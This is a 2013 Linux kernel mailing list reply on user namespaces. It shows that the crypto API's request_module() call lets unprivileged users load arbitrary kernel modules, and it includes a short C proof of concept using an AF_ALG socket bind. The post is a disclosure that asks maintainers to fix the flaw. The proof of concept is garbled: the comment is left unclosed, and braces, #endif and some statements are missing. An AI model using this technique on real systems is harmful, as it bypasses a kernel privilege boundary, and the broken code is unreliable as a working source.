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SubjectRe: user ns: arbitrary module loading
On Sun, Mar 03, 2013 at 09:48:50AM -0800, Kees Cook wrote:
> Several subsystems already have an implicit subsystem restriction
> because they load with aliases. (e.g. binfmt-XXXX, net-pf=NNN,
> snd-card-NNN, FOO-iosched, etc). This isn't the case for filesystems
> and a few others, unfortunately:
> $ git grep 'request_module("%.*s"' | grep -vi prefix
> crypto/api.c: request_module("%s", name);
> [...]
> Several of these come from hardcoded values, though (e.g. crypto, chipreg).

Well, crypto does not. Try the code snippet below on a system with
CONFIG_CRYPTO_USER_API=y. It'll abuse the above request_module() call
to load any module the user requests -- iregardless of being contained
in a user ns or not.

/* Loading arbitrary modules using crypto api since v2.6.38
* - minipli
#include <linux/if_alg.h>
#include <sys/socket.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

#ifndef AF_ALG
#define AF_ALG 38

int main(int argc, char **argv) {
struct sockaddr_alg sa_alg = {
.salg_family = AF_ALG,
.salg_type = "hash",
int sock;

if (argc != 2) {
printf("usage: %s MODULE_NAME\n", argv[0]);

sock = socket(AF_ALG, SOCK_SEQPACKET, 0);
if (sock < 0) {

strncpy((char *) sa_alg.salg_name, argv[1], sizeof(sa_alg.salg_name));
bind(sock, (struct sockaddr *) &sa_alg, sizeof(sa_alg));

return 0;

If people care about unprivileged users not being able to load arbitrary
modules, could someone please fix this in crypto API, then? Herbert?


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